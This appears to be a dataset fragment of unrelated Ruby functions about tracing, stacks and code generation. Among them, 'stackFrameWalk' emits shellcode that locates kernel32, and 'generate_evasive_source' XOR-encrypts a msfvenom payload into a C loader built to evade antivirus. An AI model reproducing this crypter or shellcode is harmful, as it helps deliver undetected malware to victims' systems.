\"free(#{var})\"\n ret_array.push Stage.new i_heap, i_store, f_heap, f_store, text\n current_line += 1\n when \"lookup\"\n var1 = lines[current_line += 1]\n var2 = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n f_store = lines[current_line += 1]\n f_heap = lines[current_line += 1]\n text = \"#{var1} := [#{var2}]\"\n ret_array.push Stage.new i_heap, i_store, f_heap, f_store, text\n current_line += 1\n when \"mutate\"\n var = lines[current_line += 1]\n exp = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n f_store = lines[current_line += 1]\n f_heap = lines[current_line += 1]\n text = \"[#{var}] := #{exp}\"\n ret_array.push Stage.new i_heap, i_store, f_heap, f_store, text\n current_line += 1\n when \"conditional\"\n bool = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n prog = lines[current_line += 1]\n text = \"if #{bool} (taking branch: #{prog})\"\n ret_array.push Stage.new i_heap, i_store, i_heap, i_store, text\n current_line += 1\n else\n raise \"command did not match\"\n end\n else\n raise \"line #{lines[current_line]} didn't match\"\n end\n end\n ret_array\nend",
"def texify exec_trace\n document_text = \"\"\n File.open \"preamble.tex\" do |file|\n while line = file.gets\n document_text += line\n end\n end\n document_text += \"\\\\begin{document}\\n\"\n stages = get_stages exec_trace\n stages.each do |stage|\n document_text += \"\\\\begin{frame}\\n\\n\"\n document_text += state_text stage.i_heap, stage.i_store\n document_text += \"\\n\"\n document_text += \"Current command: \"\n document_text += \"\\\\il{#{stage.text}}\"\n document_text += \"\\n\"\n document_text += \"\\\\vspace{1cm}\\n\\n\"\n document_text += state_text stage.f_heap, stage.f_store\n document_text += \"\\\\end{frame}\"\n document_text += \"\\n\"\n end\n document_text\nend",
"def dump_caller_stack\n return unless $ITEST2_TRACE_EXECUTION\n begin\n caller.each_with_index do |position, idx|\n next unless position =~ /\\A(.*?):(\\d+)/\n file = $1\n # TODO: send multiple trace to be parse with pages.rb\n # next if file =~ /example\\/example_methods\\.rb$/ or file =~ /example\\/example_group_methods\\.rb$/ or file =~ /driver\\.rb$/ or file =~ /timeout\\.rb$/ # don't include rspec or ruby trace\n\n if file.include?(\"_spec.rb\") || file.include?(\"_test.rb\") || file.include?(\"_cmd.rb\")\n connect_to_itest(\" TRACE\", position)\n end\n\n break if idx > 4 or file =~ /\"_spec\\.rb$/\n end\n rescue => e\n puts \"failed to capture log: #{e}\"\n end\n end",
"def traces\n trace_store.keys\n end",
"def trace_raw\n $log.debug \"XSS trace raw\"\n # Output\n $abst_dataflows.each do |n1, d1|\n if d1.subtype == 'raw_out'\n if $enable_stdout\n print \"\\e[31m\" # red\n puts \" #{n1} has raw output.\"\n print \"\\e[0m\" # reset\n end\n $log.debug \"XSS #{n1} has raw output. check the state that input #{d1.src_id}, output #{d1.dst_id}\"\n\n d1.xss_trace = true\n $abst_states[d1.dst_id].xss_out << d1\n # Input\n in_states = []\n $abst_dataflows.each do |n2, d2|\n if d2.dst_id == d1.src_id\n $log.debug \"XSS #{d2.src_id} ==(#{d2.type})==> #{d1.src_id} ==(raw)==> #{d1.dst_id}\"\n d2.xss_trace = true\n $abst_states[d1.dst_id].xss_in << d2\n in_states << d2.src_id\n end\n end\n\n # add to Warnings\n w = Hash.new\n w['warning_type'] = 'Cross Site Scripting'\n w['message'] = \"Unescaped model attribute, path in:#{in_states}->var:#{d1.src_id}->out:#{d1.dst_id}\"\n w['file'] = d1.filename # TODO: condblk.filename is nil\n w['file2'] = nil\n w['line'] = nil\n w['code'] = nil\n w['location'] = nil\n w['user_input'] = nil\n # put explicit raw here => programmer should have some intentions => but test\n w['confidence'] = 'High' # Weak Medium High\n w['hit_state'] = d1.dst_id\n w['hit_variable'] = d1.src_id\n $warning.add(w)\n end\n end\n\n # Trace C-V(raw_out)\n $abst_transitions.each do |n1, t|\n if !$abst_states[t.dst_id].nil? && $abst_states[t.dst_id].type == 'view'\n v = $abst_states[t.dst_id]\n if $abst_states[t.src_id].type == 'controller'\n c = $abst_states[t.src_id]\n # C-V\n c.test_xss_path << t if v.xss_out.count > 0\n end\n end\n end # trans loop\n end",
"def create_traces_markup_from_traces_array(traces_array) #{\n rally_host = $my_base_url.split(\"/\")[-2]\n story_detail_url_prefix = \"https://#{rally_host}/#/detail/userstory\"\n testcase_detail_url_prefix = \"https://#{rally_host}/#/detail/testcase\"\n traces_markup = '<p><b>Caliber TRACES</b></p><br/>'\n trace_counter = 1\n\n traces_array.each do | this_traceid |\n\n is_testcase = this_traceid.match(/^TC/)\n is_requirement = this_traceid.match(/^REQ/)\n\n if !is_testcase.nil? then\n testcase_tag, testcase_fid, testcase_oid, testcase_name = @testcase_TagFidOidName_by_reqid[this_traceid.sub(\"TC\", \"\")]\n\n if testcase_oid.nil? then\n @logger.warn \" *** No Rally TestCase found for Caliber TestCase: CID=#{this_traceid}; (link will be empty)\"\n this_trace = this_traceid\n else\n @logger.info \" Linking Trace JDtraceId=#{this_traceid}; to Rally TestCase: FmtID=#{testcase_fid}; OID=#{testcase_oid};\"\n #this_trace_name = @testcase_name_by_caliber_testcase_id[testcase_oid] || this_traceid\n this_trace_name = \"#{this_traceid}: #{testcase_name}\"\n\n detail_url = \"#{testcase_detail_url_prefix}/#{testcase_oid}\"\n this_trace = \"<a href=\\\"#{detail_url}\\\">#{this_trace_name}</a>\"\n end\n traces_markup += trace_counter.to_s + \". \"\n traces_markup += this_trace\n traces_markup += '<br/>'\n trace_counter += 1\n end\n\n if !is_requirement.nil? then\n story_tag, story_fid, story_oid, story_name = @story_TagFidOidName_by_reqid[this_traceid.sub(\"REQ\", \"\")]\n\n if story_oid.nil? then\n @logger.warn \" *** No Rally UserStory found for Caliber Requirement: CID=#{this_traceid}; (link will be empty)\"\n this_trace = @req_name_by_reqid[this_traceid] || this_traceid\n else\n @logger.info \" Linking Trace JDtraceId=#{this_traceid}; to Rally UserStory: FmtID=#{story_fid}; OID=#{story_oid};\"\n #this_trace_name = @req_name_by_reqid[this_traceid.sub(\"REQ\", \"\")] || this_traceid\n this_trace_name = \"#{this_traceid}: #{story_name}\"\n\n detail_url = \"#{story_detail_url_prefix}/#{story_oid}\"\n this_trace = \"<a href=\\\"#{detail_url}\\\">#{this_trace_name}</a>\"\n end\n traces_markup += trace_counter.to_s + \". \"\n traces_markup += this_trace\n traces_markup += '<br/>'\n trace_counter += 1\n end\n end\n return traces_markup\nend",
"def debug!(tracing_vars, old_allocations, name_index, value)\n name = ''\n if tracing_vars.length > 0\n if name_index.kind_of? Integer\n if name_index >= 0 && name_index < tracing_vars.length\n name = tracing_vars[name_index].chomp\n end\n end\n end\n remove_prefix! name\n remove_prefix! value\n\n name = CGI::escapeHTML(name)\n value = CGI::escapeHTML(value)\n\n old_allocations[name] ||= {}\n if old_allocations[name] != value\n old_allocations[name] = value\n @packet.add_allocation(name, value)\n end\nend",
"def trace\n set_trace_func proc { |event, _file, _line, id, binding, classname|\n if event == watched && id != :log && classes.include?(classname.to_s)\n vars = variables(binding)\n\n if vars.empty?\n log_this(sprintf(\"%s %-25s #%-20s\",\n class_count, classname, id))\n\n else\n log_this(sprintf(\"%s %-25s #%-20s\\n%s\\n\",\n class_count, classname, id, vars))\n\n end\n end\n } if trace?\n end",
"def assemble\n # var a, b, c;\n \"var \" + @locals.join(\", \") + \";\\n\" +\n @code.join\n end",
"def extract_functions\n output = ObjdumpReader.objdump_output(\n [\n \"-M\", \"intel\", \"-D\", \n \"--section=.text\", \"--section=.plt\", \"--section=.init\", \n \"--demangle\", @elf_path\n ]\n )\n lines = output.split(\"\\n\").map { |l| ObjdumpLine.new( l ) }\n\n @functions = Set.new\n last_label = nil\n last_instrs = nil\n\n lines.each do |l|\n if l.type == :label\n unless last_label.nil?\n f = Function.new(\n last_label.name,\n last_label.address,\n l.address,\n ObjdumpReader.lines_to_instrs( last_instrs )\n )\n @functions << f\n end\n last_label = l\n last_instrs = []\n elsif l.type == :instruction\n unless last_instrs.nil?\n last_instrs << l\n end\n end\n end\n end",
"def create_traces_text_from_traces_array(traces_array) #{\n rally_host = $my_base_url.split(\"/\")[-2]\n detail_url_prefix = \"https://#{rally_host}/#/detail/userstory\"\n traces_markup = '<p><b>Caliber TRACES</b></p><br/>'\n trace_counter = 1\n\n traces_array.each do | this_trace |\n story_oid = @story_TagFidOidName_by_reqid[this_trace][1]\n if !story_oid.nil? then\n this_trace_name = this_trace\n story_url_detail = \"#{detail_url_prefix}/#{story_oid}\"\n this_trace = \"<a href=\\\"#{story_url_detail}\\\">#{this_trace_name}</a>\"\n end\n \n traces_markup += trace_counter.to_s + \". \"\n traces_markup += this_trace\n traces_markup += '<br/>'\n trace_counter += 1\n end \n return traces_markup\nend",
"def code_analyzer(code, first_trace)\n code_to_viz = code_splitter(code)\n trace_analyzer = TraceAnalyzer.new\n trace_analyzer.handle_everything(code_to_viz, first_trace)\nend",
"def build_trace\n if with_bt_set?\n Backtrace.to_s(@with_bt + [first_filtered_bt_line(backtrace)])\n else\n src_line\n end\n end",
"def read_stack_cache_traces(analysis_task_elem)\n analysis_task_elem.each_element(\"value_analysis/messages/message/textline\") { |e|\n if e.text =~ /trace.*\\(context\\w*(.*)\\).*\\(\"user_(n_(?:fill|spill))\"\\).=.(\\d+)/\n yield $1,$2,$3\n end\n }\n end",
"def assemble\n out = \"\"\n\n if @locals.size > 0\n out << \"var \" + @locals.join(', ') + \";\\n\"\n end\n\n out + @code.join\n end",
"def stackFrameWalk()\n toKernel32Code = toKernel32()\n data = <<EOS\n push esi\n push ecx\n\n mov eax, ebp\n\n stack_walking:\n mov esi, eax\n lodsd\n mov ecx,[eax]\n test ecx, ecx\n jnz stack_walking\n\n ; esi now points to last stack frame (and since lodsd increments esi by 4 it points to function in ntdll.dll)\n mov eax,[esi]\n\n find_begin:\n dec eax\n xor ax,ax ; work through image until we find base address\n cmp word [eax],0x5A4D ; MZ start of PE header\n jnz find_begin\n\n pop ecx\n pop esi\n\n mov edx, eax\n ; edx now points to ntdll.dll or kernel32.dll base address (depending on windows version)\n\n #{toKernel32Code}\nEOS\n data\n end",
"def seperate_and_filter_trace(junit_test_file,\n files_path,\n peruser_files_path,\n student_file_name)\n code_and_trace = generate_backend_trace(junit_test_file,\n files_path,\n peruser_files_path,\n student_file_name)\n splitter = '\"' + 'trace' + '\"' + ':'\n user_code, whole_trace = code_and_trace.split(splitter)\n\n whole_trace = whole_trace[1..whole_trace.length]\n\n entire_json_file = code_analyzer(user_code, whole_trace)\n\n entire_json_file\nend",
"def exe_Point_Finder(trace)\n symbol_stack = []\n other_list = []\n top_symbol = ''\n exe = ''\n exe_point = ' '\n on = false\n off = false\n trace.split('').each do |i|\n current_symbol = i\n exe_point += current_symbol\n if i == '{' or i == '[' or i == '('\n symbol_stack << i\n elsif i == '}' or i == ')' or i == ']'\n if empty?(symbol_stack) == false\n top_symbol = symbol_stack.pop\n if i == '}' and top_symbol != '{'\n next\n end\n end\n elsif i == ','\n other_list << exe_point\n if symbol_stack.length.zero?\n other_list.each do |thing|\n exe += thing\n end\n if exe.include? 'startTraceNow'\n on = true\n exe = ''\n exe_point = ''\n other_list = []\n elsif exe.include? 'endTraceNow'\n off = true\n return\n else\n flag = verify_exe_point(on, off, exe)\n on = false if flag == false\n exe = ''\n exe_point = ''\n other_list = []\n end\n else\n exe_point = ''\n end\n\n else\n next\n end\n end\n end",
"def tracing()\n #This is a stub, used for indexing\n end",
"def compile_data\n res = Hash.new { |h, k| h[k] = [] }\n @result.to_two_level_hash.each do |klass, methods_and_locations|\n methods_and_locations.each_pair do |meth, locations|\n source, lineno = locations\n res[source] << [lineno, \"#{klass}#{meth}\"]\n end\n end\n res.sort # by source file path\n end",
"def generate_stackframe_list\n stack_frames = []\n state = puppet_session_state.saved\n\n # Generate StackFrame for a Pops::Evaluator object with location information\n unless state.pops_target.nil?\n target = state.pops_target\n\n frame = DSP::StackFrame.new.from_h!(\n 'id' => stack_frames.count,\n 'name' => get_puppet_class_name(target),\n 'line' => 0,\n 'column' => 0\n )\n\n # TODO: Need to check on the client capabilities of zero or one based indexes\n if target.is_a?(Puppet::Pops::Model::Positioned)\n target_loc = get_location_from_pops_object(target)\n frame.name = target_loc.file\n frame.line = target_loc.line\n frame.column = pos_on_line(target, target_loc.offset)\n frame.source = DSP::Source.new.from_h!('path' => target_loc.file)\n\n if target_loc.length > 0 # rubocop:disable Style/ZeroLengthPredicate\n end_offset = target_loc.offset + target_loc.length\n frame.endLine = line_for_offset(target, end_offset)\n frame.endColumn = pos_on_line(target, end_offset)\n end\n end\n\n stack_frames << frame\n end\n\n # Generate StackFrame for an error\n unless state.exception.nil?\n err = state.exception\n frame = DSP::StackFrame.new.from_h!(\n 'id' => stack_frames.count,\n 'name' => err.class.to_s,\n 'line' => 0,\n 'column' => 0\n )\n\n # TODO: Need to check on the client capabilities of zero or one based indexes\n unless err.file.nil? || err.line.nil?\n frame.source = DSP::Source.new.from_h!('path' => err.file)\n frame.line = err.line\n frame.column = err.pos || 0\n end\n\n stack_frames << frame\n end\n\n # Generate StackFrame for each PuppetStack element\n unless state.puppet_stacktrace.nil?\n state.puppet_stacktrace.each do |pup_stack|\n source_file = pup_stack[0]\n # TODO: Need to check on the client capabilities of zero or one based indexes\n source_line = pup_stack[1]\n\n frame = DSP::StackFrame.new.from_h!(\n 'id' => stack_frames.count,\n 'name' => source_file.to_s,\n 'source' => { 'path' => source_file },\n 'line' => source_line,\n 'column' => 0\n )\n stack_frames << frame\n end\n end\n\n stack_frames\n end",
"def trace( crashfile, template )\n end",
"def render_debug args\n if !args.state.grid_rendered\n 65.map_with_index do |i|\n args.outputs.static_debug << {\n x: LOWREZ_X_OFFSET,\n y: LOWREZ_Y_OFFSET + (i * 10),\n x2: LOWREZ_X_OFFSET + LOWREZ_ZOOMED_SIZE,\n y2: LOWREZ_Y_OFFSET + (i * 10),\n r: 128,\n g: 128,\n b: 128,\n a: 80\n }.line\n\n args.outputs.static_debug << {\n x: LOWREZ_X_OFFSET + (i * 10),\n y: LOWREZ_Y_OFFSET,\n x2: LOWREZ_X_OFFSET + (i * 10),\n y2: LOWREZ_Y_OFFSET + LOWREZ_ZOOMED_SIZE,\n r: 128,\n g: 128,\n b: 128,\n a: 80\n }.line\n end\n end\n\n args.state.grid_rendered = true\n\n args.state.last_click ||= 0\n args.state.last_up ||= 0\n args.state.last_click = args.state.tick_count if args.lowrez.mouse_down # you can also use args.lowrez.click\n args.state.last_up = args.state.tick_count if args.lowrez.mouse_up\n args.state.label_style = { size_enum: -1.5 }\n\n args.state.watch_list = [\n \"args.state.tick_count is: #{args.state.tick_count}\",\n \"args.lowrez.mouse_position is: #{args.lowrez.mouse_position.x}, #{args.lowrez.mouse_position.y}\",\n \"args.lowrez.mouse_down tick: #{args.state.last_click || \"never\"}\",\n \"args.lowrez.mouse_up tick: #{args.state.last_up || \"false\"}\",\n \"Player.player_x: #{args.state.player.player_x.to_i}\",\n \"Player.player_y: #{args.state.player.player_y.to_i}\",\n \"Player.angle: #{args.state.player.angle.to_i}\",\n \"Active bullets: #{args.state.bullets.length}\",\n \"Active turrets: #{args.state.turrets.length}\",\n ]\n\n args.outputs.debug << args.state\n .watch_list\n .map_with_index do |text, i|\n {\n x: 5,\n y: 720 - (i * 20),\n text: text,\n size_enum: -1.5,\n\t r: 250,\n\t g: 250,\n\t b: 250,\n\t a: 250,\n }.label\n end\n\nend",
"def sub_funcs\n # Find out function names, make map\n get_func_names.each do |var, _sub|\n code.gsub!(var, @rig.init_var(var))\n end\n\n code\n end",
"def initialize\n @global = Hash.new\n @procedures = Hash.new\n @operands_stack = Stack.new\n @operations_stack = Stack.new\n @jumps_stack = Stack.new\n @lines_counter = 0\n @cuadruples_array = Array.new\n @scope_location = nil\n @sing_variable = nil\n @arguments = Array.new\n @data_type = nil\n @is_ref = false\n @has_return = false\n @exp_call = false\n @arg_stack = Stack.new\n @call_stack = Stack.new\n @addr_const_val = nil\n @filename = \"output.txt\"\n # Change to 'true' to see verbose in cuadruples\n @debug = false\n # Memory scheme:\n # Global address -> direction 1000, with 1000 directions for every data type\n # -> Total width: 4000\n # Local address -> direction 5000, with 1000 directions for every data type\n # in the normal and temporal addresses\n # -> Total width: 8000\n # Constant address -> direction 13000, with 1500 directions for integers and\n # floats, but 2 directions for boolean and the rest for strings\n # -> Total width: 6000\n # Pointers addresses -> direction 19000, with 1000 directions for every data type\n # -> Total width: 4000\n @global_memory = Memory.new(1000, 4000)\n @local_memory = LocalMemory.new(5000, 8000)\n @const_memory = ConstantMemory.new(13000, 6000, [0.25, 0.25, 0.0005, 0.4995])\n @pointer_memory = Memory.new(19000, 4000)\n\n @semanthic_cube = {\n 'int' => {\n 'int' => {\n\t'=' => 'int',\n\t'+' => 'int',\n\t'-' => 'int',\n\t'*' => 'int',\n\t'/' => 'int',\n\t'and' => 'boolean',\n\t'or' => 'boolean',\n\t'>' => 'boolean',\n\t'>=' => 'boolean',\n\t'<' => 'boolean',\n\t'<=' => 'boolean',\n\t'==' => 'boolean',\n\t'!=' => 'boolean'\n },\n 'float' => {\n\t'=' => 'int',\n\t'+' => 'float',\n\t'-' => 'float',\n\t'*' => 'float',\n\t'/' => 'float',\n\t'and' => 'boolean',\n\t'or' => 'boolean',\n\t'>' => 'boolean',\n\t'>=' => 'boolean',\n\t'<' => 'boolean',\n\t'<=' => 'boolean',\n\t'==' => 'boolean',\n\t'!=' => 'boolean'\n },\n 'boolean' => {\n\t'=' => 'int',\n\t'and' => 'boolean',\n\t'or' => 'boolean'\n },\n 'not' => 'boolean'\n },\n 'float' => {\n 'int' => {\n\t'=' => 'float',\n\t'+' => 'float',\n\t'-' => 'float',\n\t'*' => 'float',\n\t'/' => 'float',\n\t'and' => 'boolean',\n\t'or' => 'boolean',\n\t'>' => 'boolean',\n\t'>=' => 'boolean',\n\t'<' => 'boolean',\n\t'<=' => 'boolean',\n\t'==' => 'boolean',\n\t'!=' => 'boolean'\n },\n 'float' => {\n\t'=' => 'float',\n\t'+' => 'float',\n\t'-' => 'float',\n\t'*' => 'float',\n\t'/' => 'float',\n\t'and' => 'boolean',\n\t'or' => 'boolean',\n\t'>' => 'boolean',\n\t'>=' => 'boolean',\n\t'<' => 'boolean',\n\t'<=' => 'boolean',\n\t'==' => 'boolean',\n\t'!=' => 'boolean'\n },\n 'boolean' => {\n\t'=' => 'float',\n\t'and' => 'boolean',\n\t'or' => 'boolean'\n },\n 'not' => 'boolean'\n },\n 'string' => {\n 'string' => {\n\t'=' => 'string',\n\t'+' => 'string'\n }\n },\n 'boolean' => {\n 'int' => {\n\t'=' => 'boolean',\n },\n 'float' => {\n\t'=' => 'boolean',\n },\n 'boolean' => {\n\t'=' => 'boolean',\n\t'and' => 'boolean',\n\t'or' => 'boolean'\n },\n 'not' => 'boolean'\n }\n }\n end",
"def dump_code( type_switch = 1 )\n wf_name = label.downcase.gsub(/ /,'_')\n puts\n puts \"Code Snippets for #{ label }:\"\n puts\n puts \"Number of tasks: #{ @task_list.count }\"\n puts \"Number of flows: #{ @flow_list.count }\"\n puts \"Number of states: #{ @status_list.count }\"\n puts\n puts \"List of Task Labels (I18n format):\"\n puts \n puts \" workflow:\"\n puts \" w00:\"\n puts \" label:\\t'#{ label }'\"\n puts \" tasks:\"\n @task_list.each_with_index do |t,i|\n next if t.nil?\n puts \" #{ sprintf('t%02d',i)}:\\t'#{ t.label }#{ ' <obsolete>' if t.obsolete }'\"\n end\n puts \" states:\"\n obsolete_marker = Array.new( status_list.count, false )\n @flow_list.each{ |f| obsolete_marker[ f.status_id ] |= f.obsolete }\n @status_list.each_with_index do |l,i|\n puts \" #{ sprintf('s%02d',i )}:\\t'#{ status_list[ i ]}#{ ' <obsolete>' if obsolete_marker[ i ] }'\"\n end\n puts\n puts \"Transition Structure:\"\n puts\n printf \"@#{ wf_name } = WorkFlowHelper.new([\"\n\n case type_switch\n when 0\n sep = \"\\n\"\n @task_list.each do |t|\n flows = t.outflows.collect{ |f| f.id }.join(',')\n tasks = t.outflows.collect{ |f| f.target_task_id }.join(',')\n printf \"%s [[%s],[%s]]\", sep, flows, tasks\n sep = \",\\n\"\n end\n when 1\n sep = \"\\n\"\n flow_tasks = ''\n @task_list[0...-1].each do |t|\n next if t.nil?\n flow_tasks = t.outflows.collect{ |f| \"[ %d, %d ]\" % [ f.status_id, f.target_task_id ]}.join(',')\n printf \"%s [%s]\", sep, flow_tasks\n sep = \",\\n\"\n end\n printf \"%s [[ -1, %d ]]\\n\", sep, @task_list.length - 1\n end\n\n puts \"])\"\n puts\n\n # list all roles with tasks for which they are responsible\n\n puts 'Responsibilities:'\n puts\n @role_list.each_with_index do |r,i|\n s = sprintf \"%-20s\", @role_list[ i ]\n sep = ''\n @task_list[0...-1].each_with_index do |t,j|\n next if t.nil?\n if t.role_id == i then\n s += sep + j.to_s\n sep = ','\n end\n end\n puts s\n end\n puts\n\n # better warn the user if there were any validation errors ...\n\n if @validation_errors > 0 then\n puts \">>> Errors detected during validation - check full report above. <<<\"\n puts\n end\n\n end",
"def generate_backend_trace(junit_test_file,\n files_path,\n peruser_files_path,\n student_file_name)\n raw_code = junit_test_file\n raw_code.gsub! \"\\n\", \"\\\\n\" + \"\\n\"\n raw_code.gsub! \"\\t\", \"\\\\t\"\n lines = raw_code.split(\"\\n\")\n jUnit_test = ''\n lines.each { |line| jUnit_test += line}\n jUnit_test.gsub!('\\\"', \"\\\\\" + '\\\"')\n student_file = File.open(File.join(File.dirname(File.expand_path(__FILE__)),\n peruser_files_path,\n student_file_name), 'w+')\n full_string = '{' + \"\\n\" + '\"' + 'usercode' + '\"' + ':' + '\"' + jUnit_test +\n '\"' + ',' + \"\\n\" + '\"' + 'options' + '\"' + ':' + '{' + '}' \\\n ',' + \"\\n\" + '\"' + 'args' + '\"' + ':' + '[' + ']' + ',' \\\n \"\\n\" + '\"' + 'stdin' + '\"' + ':' + '\"' + '\"' + \"\\n\" + '}'\n student_file.puts(full_string)\n student_file.close\n output = `java -cp .:cp:cp/javax.json-1.0.4.jar:java/tools.jar traceprinter.InMemory < cp/traceprinter/output.txt` # the shell command\n output\nend",
"def to_vars\n vars = @temps.dup\n vars.push(*@locals.map { |l| \"#{l} = nil\" })\n\n iv = ivars.map do |ivar|\n \"if (self#{ivar} == null) self#{ivar} = nil;\\n\"\n end\n\n gv = gvars.map do |gvar|\n \"if ($gvars#{gvar} == null) $gvars#{gvar} = nil;\\n\"\n end\n\n if class? && !@proto_ivars.empty?\n vars << '$proto = self.$$prototype'\n end\n\n indent = @compiler.parser_indent\n str = vars.empty? ? '' : \"var #{vars.join ', '};\\n\"\n str += \"#{indent}#{iv.join indent}\" unless ivars.empty?\n str += \"#{indent}#{gv.join indent}\" unless gvars.empty?\n\n if class? && !@proto_ivars.empty?\n pvars = @proto_ivars.map { |i| \"$proto#{i}\" }.join(' = ')\n str = \"#{str}\\n#{indent}#{pvars} = nil;\"\n end\n\n fragment(str)\n end",
"def to_vars\n vars = @temps.dup\n vars.push(*@locals.map { |l| \"#{l} = nil\" })\n\n iv = ivars.map do |ivar|\n \"if (self#{ivar} == null) self#{ivar} = nil;\\n\"\n end\n\n gv = gvars.map do |gvar|\n \"if ($gvars#{gvar} == null) $gvars#{gvar} = nil;\\n\"\n end\n\n indent = @compiler.parser_indent\n str = vars.empty? ? '' : \"var #{vars.join ', '};\\n\"\n str += \"#{indent}#{iv.join indent}\" unless ivars.empty?\n str += \"#{indent}#{gv.join indent}\" unless gvars.empty?\n\n if class? and !@proto_ivars.empty?\n #raise \"FIXME to_vars\"\n pvars = @proto_ivars.map { |i| \"#{proto}#{i}\"}.join(' = ')\n result = \"%s\\n%s%s = nil;\" % [str, indent, pvars]\n else\n result = str\n end\n\n fragment(result)\n end",
"def augment_code()\n @augmented_code = \"\"\n\n # Configure variable tracing (the variables to be traced are declared at the\n # beginning of the program)\n @augmented_code += generate_tracing_configuration()\n\n # Iterate over the original code's lines\n @code.each_line do |line|\n @state[:line_number] += 1\n\n # Remove trailing whitespace. If the line is not empty, parse and process it.\n line.rstrip!\n if !line.empty?\n # Update our state based on the current line\n parse_line(line)\n\n # Add stuff if necessary\n line = possibly_add_line_number_comment(line)\n line = possibly_add_trace_info_calls(line)\n end\n\n @augmented_code += line + \"\\n\"\n end\n end",
"def inspect\n ss = @stack.map {|step| \"#{step[0]} #{LS.stringify step[1]}\"}\n return \"#<#{ss.join \"\\n\\t\"}>\"\n end",
"def pnodes(ofile, indent)\n h = Hash.new()\n @trace.each { |t|\n if h[t[1]].nil?\n location = t[3] ? \" - \" + t[3].split(':')[0..2].join(':') : \"\"\n ofile.puts \"#{indent} #{t[1]} [label = \\\"#{t[0]} #{location}\\\"];\"\n h[t[1]] = 1;\n end\n }\n end",
"def stack_trace\n trace = @context_stack.reverse.map do |context|\n next if context.context_type == :base\n ['Line', context.line_number.to_s, 'in', context.context_type.to_s, context.path, context.name, ':', context.line].compact.join(' ')\n end.compact\n if stacked? && expanded_lines && expanded_lines.size > 1\n trace.unshift ['Line', expanded_line_number, 'in', 'request expansion', ':', expanded_line].join(' ')\n end\n trace\n end",
"def prepare\n loc_scope_line = data.strip\n loc_scopes = loc_scope_line.empty? ? [I18n.locale.to_s] : loc_scope_line.split(/\\s*,\\s*/)\n js = Converter.new(loc_scopes).js_body\n @code = js.dump\n end",
"def generate_evasive_source(evasion_stack)\n source = \"tmp/bin\"+self.uuid+\".c\"\n specified_techniques = evasion_stack.split(\";\")\n\n # Create EvasionTechnique objects for each specified technique.\n techniques = Array.new(specified_techniques.count)\n specified_techniques.each_index do |i|\n techniques[i] = EvasionTechnique.new(specified_techniques[i])\n end\n\n\n\n # Initialize initial program stub on on which to build the generated source.\n stub_impl = \"\n void translate(char* k){\n dbuf = malloc(BUFFER_LENGTH);\n\n int i, n;\n i = 0; n = 0;\n\n for(i = 0; i < BUFFER_LENGTH; i++)\n dbuf[i] = buf[i];\n\n for(n = 0; n < strlen(k); n++){\n for(i = 0; i < BUFFER_LENGTH; i++){\n dbuf[i] = dbuf[i] ^ k[(n+k[n]+i) % strlen(k)];\n }\n }\n }\n\n void run(){\n int (*func)();\n func = (int (*)()) dbuf;\n (int)(*func)();\n free(dbuf);\n }\n\n \"\n\n # Initialize program component lists/queues/stacks\n includes_list = [\"stdio.h\", \"stdlib.h\", \"string.h\", \"Windows.h\"]\n dyn_definitions = []\n # Queue of code execution prefix stubs\n dyn_exec_prefixes = ['int main(int argc, char** argv){\n HANDLE t_file;\n DWORD t_temporary;\n\n LPCVOID t_content = \"Status: tag log created\";\n\n t_file = CreateFile(\"C:/Documents and Settings/honey/My Documents/ids_taglog.txt\", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\n WriteFile(t_file, t_content, strlen((const char*) t_content), &t_temporary, NULL);\n ']\n dyn_exec =\n ' \n translate(ivk);\n run();\n '\n # Stack of code execution postfix stubs\n dyn_exec_postfixes = [\" }\"]\n\n # Populate program component lists/queues/stacks\n techniques.each do |t|\n t.includes().each do |i|\n if includes_list.include?(i) == false\n includes_list.concat([i])\n end\n end\n dyn_definitions.concat([t.definitions()])\n dyn_exec_prefixes.concat([t.exec_prefix()])\n dyn_exec_postfixes.unshift t.exec_postfix()\n end\n\n # Flesh out program stub using the populated program components.\n includes = \"\"\n includes_list.each do |i|\n includes << '#include <'+i+ \">\\n\"\n end\n includes << \"\\n\"\n\n dyn_definitions.each do |d|\n stub_impl << d\n end\n stub_impl << \"\\n\"\n\n dyn_exec_prefixes.each do |p|\n stub_impl << p\n end\n stub_impl << \"\\n\"\n\n stub_impl << dyn_exec\n dyn_exec_postfixes.each do |p|\n stub_impl << p\n end\n stub_impl << \"\\n\"\n\n # Copy and parse hex dump from msfvenom-generated C file\n buf_found = false\n hex_string = \"\"\n\n file = File.open(source, \"r\")\n\n file.each do |line|\n # Dump will start with 'unsigned char buf[] ='\n if not buf_found\n if line.index(\"unsigned char buf[]\") == 0\n buf_found = true\n end\n else\n # Strip quotes, newlines, etc\n line.delete! '\"'\n line.delete! '\\n'\n line.delete! \"\\n\"\n line.delete! '\\\\'\n line.delete! 'x'\n # Stop once a semicolon is reached\n if line.index(\";\") != nil\n line.delete! ';'\n hex_string += line\n break\n else\n hex_string += line\n end\n end\n end\n\n file.close\n\n # Convert to binary string\n payload_code = hex_to_bin(hex_string)\n\n # Generate random string to use as the key\n key = rand(36**rand(10...25)).to_s(36)\n\n # Encrypt binary string with key\n encrypted_code = cipher(payload_code.bytes.to_a, key.bytes.to_a)\n encrypted_code_hex = bin_to_hex(encrypted_code.pack(\"c*\"))\n\n # Format C String\n encrypted_code_hex = encrypted_code_hex.gsub(/(.{2})/, '\\\\x\\1')\n # Split formatted C String into lines.\n lines = encrypted_code_hex.scan(/.{1,#{60}}/)\n\n # Write evasive source to file\n file = File.open(\"tmp/evasive\"+self.uuid+\".c\", 'w')\n \n file.puts includes\n file.puts '#define BUFFER_LENGTH '+\"#{encrypted_code.count}\"\n file.puts \"unsigned char ivk[] = \\\"\"+key+\"\\\";\"\n file.puts \"unsigned char buf[] = \"\n lines.each_index do |i|\n if i < lines.count - 1\n file.puts '\"'+lines[i]+'\"'\n else\n file.puts '\"'+lines[i]+'\";'\n end\n end\n file.puts \"unsigned char* dbuf;\";\n file.puts stub_impl\n \n file.close\n\n print_status(\"Evasive source successfully generated.\")\n\n end",
"def trace_list\n my_list = []\n (0...@list_of_events.length).each do |x|\n temp = @list_of_events[x]\n my_list << temp.trace\n end\n my_list\n end",
"def create_symbols\n # creates all named symbols, including vector references\n @expressions.map { |a| a.create_symbols }\n puts(self.class)\n end",
